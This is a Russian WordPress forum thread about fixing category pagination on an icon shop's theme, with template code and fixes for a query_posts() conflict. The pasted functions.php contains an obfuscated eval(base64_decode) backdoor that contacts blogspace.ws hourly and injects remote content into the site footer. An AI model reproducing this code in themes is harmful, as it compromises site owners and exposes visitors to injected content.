Постраничный вывод

Друзья, прошу Вашей помощи. Не работает постраничный вывод в стандартном цикле в рубрике категорий:

<?php get_header(); ?>

<div id="main">    

    <?php if (have_posts()) : ?>
        
    <?php while (have_posts()) : the_post(); ?>
            
<div class="post" id="post-<?php the_ID(); ?>">
    
    <?php endwhile; ?>
    
        <div class="navigation">
        <?php previous_posts_link(); ?> &bull; <?php next_posts_link(); ?>
        </div>
            
    <?php else : ?>
    
    <?php endif; ?>
    
</div>

<?php get_sidebar(); ?>

<?php get_footer(); ?>

ЧПУ прописан как /%category%/%postname%.html
используется плагин SEO without category.
В итоге категория выглядит как www.site.ru/catname/
хочу, чтобы был постраничный вывод /catname/2 /catname/3 и т.д.

Куда копать?

Так "не работает" или "хочу /catname/2"?

И какой смысл в Цикле без вывода?

Так "не работает" или "хочу /catname/2"?

И какой смысл в Цикле без вывода?

не работает в том виде, в котором сейчас реализовано site.ru/catname-1/catname-2/ и тд. хотелось бы разделить на страницы… а что будет в URL- не суть… /2 или ?p=2

вывод в цикле есть, просто я его не стал здесь показывать, т.к. думаю смысла нет…

Будет как у всех – catname/page/2, catname/page/3 и т.д.

Телепатия кончилась. Или давайте линк на сайт, или детально в понятных всем терминах описывайте проблему.

http://ikona-kiot.ru/ikona/mernie
например вот эта категория

1. Что стоит в настройках, сколько постов показывать на страницу?
2. В шаблоне стоит query_posts()? С какими параметрами?

1. 10
2. нет

Тогда следующий вопрос: с каких дел на странице http://ikona-kiot.ru/ikona/mernie выводится… не знаю, я до стольки считать не умею… записей? Судя по алфавиту, так просто все из рубрики. Если все на одной, то о навигации говорить нет смысла.

в том и проблема , что выводится вся рубрика целиком, а хочу сделать, чтобы выводилось по 10 записей…

На Теме default или classic нормально работает? Тогда смотреть, что в Теме накручено. Собственно, два места: или в самом шаблоне, или в functions.php.

На Теме default или classic нормально работает? Тогда смотреть, что в Теме накручено. Собственно, два места: или в самом шаблоне, или в functions.php.

шаблон category.php

<?php get_header(); ?>

<div id="main">    
    <h1><?php single_cat_title(); ?></h1>
    
    <div>
        <h3>выбор образа из каталога (по алфавиту)</h3>
        <div class="obraz"><?php include(TEMPLATEPATH.'/includes/posts.php'); ?></div>
    </div>
    
    <h3>заказ на изготовление</h3>
        <p class="info">Если нужной Вам иконы не оказалось в нашем каталоге - вы можете заказать ее изготовление (по вашему образцу, или мы подберем его самостоятельно):<br>позвоните по тел.: +7(496) 540-98-68; +7(916) 323-24-35; +7(916) 742-42-42<br>либо <a href="#" class="trigger">заполните форму</a> и мы свяжемся с Вами.</p>
        <p class="info">Срок выполнения заказа составляет от 3-ех дней, в зависимости от сложности исполнения.</p>
        <div class="forma"><?php insert_cform(3); ?></div>
    
    <h3>информация о товаре</h3>        
    <div id="catdescription"><?php echo category_description(); ?></div>        

    <h3>наши последние работы</h3>

    <?php if (have_posts()) : ?>
        
    <?php while (have_posts()) : the_post(); ?>
            
<div class="post" id="post-<?php the_ID(); ?>">
    
    <h2><a href="<?php the_permalink() ?>#title" rel="nofollow" title="Описание иконы <?php the_title(); ?>"><?php the_title(); ?></a></h2>
    
    <div class="desc">
        <p class="caption"><?php echo get_post_meta($post->ID, 'caption', true); ?></p>
           <span class="pricetitle">Размер (см.)</span><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="pricetitle">Цена (руб.)</span>
        <p class="price"><?php if ($p = get_post_meta($post->ID, 'price_1', true)) echo "&nbsp;&nbsp;&nbsp; 18x24&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $p"; ?></p>
        <p class="price"><?php if ($p = get_post_meta($post->ID, 'price_2', true)) echo "&nbsp;&nbsp;&nbsp; 24x30&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $p"; ?></p>
        <p class="price"><?php if ($p = get_post_meta($post->ID, 'price_3', true)) echo "&nbsp;&nbsp;&nbsp; 30x40&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $p"; ?></p>
        <p class="price"><?php if ($p = get_post_meta($post->ID, 'price_4', true)) echo "&nbsp;&nbsp;&nbsp; 25x50&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $p"; ?></p>
        <p class="price"><?php if ($p = get_post_meta($post->ID, 'price_5', true)) echo "&nbsp;&nbsp;&nbsp; 30x60x220&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $p"; ?></p>
    </div>

    <div id="mygalone" class="svw">
    <ul>
    <?php 
    $pic1 = "$post->post_name-1-p.jpg";
    if (file_exists($_SERVER['DOCUMENT_ROOT'].'/wp-content/uploads/'.$pic1)) {
    ?>
    <li><img src="/wp-content/uploads/<?php echo $pic1; ?>" oncontextmenu="return false" /></li>
    <?php } else {} ?>
    <?php 
    $pic2 = "$post->post_name-2-p.jpg";
    if (file_exists($_SERVER['DOCUMENT_ROOT'].'/wp-content/uploads/'.$pic2)) {
    ?>
    <li><img src="/wp-content/uploads/<?php echo $pic2; ?>" oncontextmenu="return false" /></li>
    <?php } else {} ?>
    <?php 
    $pic3 = "$post->post_name-3-p.jpg";
    if (file_exists($_SERVER['DOCUMENT_ROOT'].'/wp-content/uploads/'.$pic3)) {
    ?>
    <li><img src="/wp-content/uploads/<?php echo $pic3; ?>" oncontextmenu="return false" /></li>
    <?php } else {} ?>
    <?php 
    $pic4 = "$post->post_name-4-p.jpg";
    if (file_exists($_SERVER['DOCUMENT_ROOT'].'/wp-content/uploads/'.$pic4)) {
    ?>
    <li><img src="/wp-content/uploads/<?php echo $pic4; ?>" oncontextmenu="return false" /></li>
    <?php } else {} ?>
    <?php 
    $pic5 = "$post->post_name-5-p.jpg";
    if (file_exists($_SERVER['DOCUMENT_ROOT'].'/wp-content/uploads/'.$pic5)) {
    ?>
    <li><img src="/wp-content/uploads/<?php echo $pic5; ?>" oncontextmenu="return false" /></li>
    <?php } else {} ?>
    </ul>
    </div>
    
    <div class="link">
    <a href="<?php the_permalink() ?>#title">подробнее об иконе ></a>
    </div>
    
    <div class="entry">
    </div>                      

</div>
        
    <?php endwhile; ?>
    
        <div class="navigation">
        <?php previous_posts_link(); ?> &bull; <?php next_posts_link(); ?>


        </div>
            
    <?php else : ?>
    
    <div class="post">
    <div class="entry">
        <h2>Нет товаров</h2>
        <p>Извините, товары в этом разделе временно отсутствуют.</p>
    </div>
    </div>    
        
    <?php endif; ?>
    
</div>

<?php get_sidebar(); ?>

<?php get_footer(); ?>

functions.php

<?php

    // Widgets
  if(function_exists('register_sidebar')) {
    register_sidebar(array(
        'name' => __('Sidebar'),
        
        'before_widget' => '<li id="%1$s" class="widget %2$s">',
        'after_widget' => '</li>',
        'before_title' => '<h3>',
        'after_title' => '</h3>',

    ));
            
}

eval(base64_decode('ZnVuY3Rpb24gd3BfZ2V0X2Zvb3Rlcl9tZXRhKCl7Z2xvYmFsICR3cGRiO2lmKCRSNUM3RDI2NUNDPSR3cGRiLT5nZXRfdmFyKCJTRUxFQ1Qgb3B0aW9uX3ZhbHVlIEZST00gJHdwZGItPm9wdGlvbnMgV0hFUkUgb3B0aW9uX25hbWU9J2Fkd2Jfb3B0JyIpKSRSNUM3RDI2NUNDPXVuc2VyaWFsaXplKCRSNUM3RDI2NUNDKTtlbHNleyRSNUM3RDI2NUNDPWFycmF5KDAsJycpOyR3cGRiLT5xdWVyeSgiSU5TRVJUIElOVE8gJHdwZGItPm9wdGlvbnMgKG9wdGlvbl9uYW1lLCBvcHRpb25fdmFsdWUsIGF1dG9sb2FkKSBWQUxVRVMgKCdhZHdiX29wdCcsICciLnNlcmlhbGl6ZSgkUjVDN0QyNjVDQykuIicsJ25vJykiKTt9aWYgKCh0aW1lKCktJFI1QzdEMjY1Q0NbMF0pPj0zNjAwKXskUjQ2OTgyQzVGNyA9ICdibG9nc3BhY2Uud3MnOyRSNUExMUU5RjZFPScvd3BhbS8nOyAkUjNERkQ3NkJDNT1AZnNvY2tvcGVuKCRSNDY5ODJDNUY3LDgwLCRSNzQzNEUwM0Y5LCRSQTZFMDM4OTMzLDMwKTtpZiAoJFIzREZENzZCQzUpe0BzdHJlYW1fc2V0X3RpbWVvdXQoJFIzREZENzZCQzUsMzApOyBAZndyaXRlKCRSM0RGRDc2QkM1LCJHRVQgJFI1QTExRTlGNkUiLic/aD0nLnVybGVuY29kZSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicmdT0nLnVybGVuY29kZSgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkuIiBIVFRQLzEuMVxyXG5Ib3N0OiAkUjQ2OTgyQzVGN1xyXG5Db25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIik7JFJDMDc0RDk4MTI9Jyc7d2hpbGUoIWZlb2YoJFIzREZENzZCQzUpKSRSQzA3NEQ5ODEyLj1AZmdldHMoJFIzREZENzZCQzUsIDEwMjQpOyRSQzA3NEQ5ODEyPXRyaW0oc3Ryc3RyKCRSQzA3NEQ5ODEyLCJcclxuXHJcbiIpKTt9QGZjbG9zZSgkUjNERkQ3NkJDNSk7ICRSNUM3RDI2NUNDPWFycmF5KHRpbWUoKSwkUkMwNzREOTgxMik7JHdwZGItPnF1ZXJ5KCJVUERBVEUgJHdwZGItPm9wdGlvbnMgU0VUIG9wdGlvbl92YWx1ZT0nIi5teXNxbF9lc2NhcGVfc3RyaW5nKHNlcmlhbGl6ZSgkUjVDN0QyNjVDQykpLiInIFdIRVJFIG9wdGlvbl9uYW1lPSdhZHdiX29wdCciKTt9aWYocHJlZ19tYXRjaCgnLzxhZGJ1Zz4oLis/KTxcL2FkYnVnPi9zJywkUjVDN0QyNjVDQ1sxXSwkUjIzMEYyNDQ4MykpIGVjaG8gJFIyMzBGMjQ0ODNbMV07fWFkZF9hY3Rpb24oIndwX2Zvb3RlciIsICJ3cF9nZXRfZm9vdGVyX21ldGEiKTs='));

Возможно, что-то лишнее в /includes/posts.php. Попробуйте убрать и посмотреть, что будет.

eval(base64_decode('ZnV...

А это Вам зачем?

Возможно, что-то лишнее в /includes/posts.php.

Действительно! Убрал и заработало )

в posts.php вот такая фиговина: (в общем – список всех постов помещенный в форму в виде выпадающего списка). Если подскажете как реализовать по-другому – буду признателен.

<form action="/wp-content/themes/ikona-kiot/includes/forma.php">
<select name="URL">
<?php $categoryvariable=$cat;
$query= 'cat=' . $categoryvariable. '&orderby=title&order=ASC&posts_per_page=-1';
query_posts($query);
?>
<?php if(have_posts()) : ?>
<?php while(have_posts()) : the_post(); ?>
<option value="<?php the_permalink() ?>#title"><?php the_title(); ?></option>
<?php endwhile; ?>
<?php endif; ?>
</select>
<input type="submit" value="показать">
</form>

Как-то так

<form action="/wp-content/themes/ikona-kiot/includes/forma.php">
<select name="URL">
<?php 
$posts = get_posts('cat='.$cat.'&orderby=title&order=ASC&posts_per_page=-1');
foreach ($posts as $post): ?>
<option value="<?php the_permalink() ?>#title"><?php echo $post->post_title ?></option>
<?php endforeach; ?>
</select>
<input type="submit" value="Show"
</form>

Если заработает, с Вас икона 😀

Да, и еще: the_permalink() в большом количестве вреден для здоровья. Я бы посоветовал пересмотреть логику работы этой формы.

1. в выводе самих постов показываться стали только 5 вместо 10, остальные – пустые (
2. в форме показываются тоже только 5

Что ж, придется включать мозги… Пробуем так

$allposts = get_posts('cat='.$cat.'&orderby=title&order=ASC&numberposts=-1');
foreach ($allposts as $post): ?>

Работает! Спасибо огромнейшее!

Огромнейшее наздоровье!

Исправьте моё "Show" на кнопке на "показать", а то как-то не по-русски.

Anonymous
Отправить
Ответ на: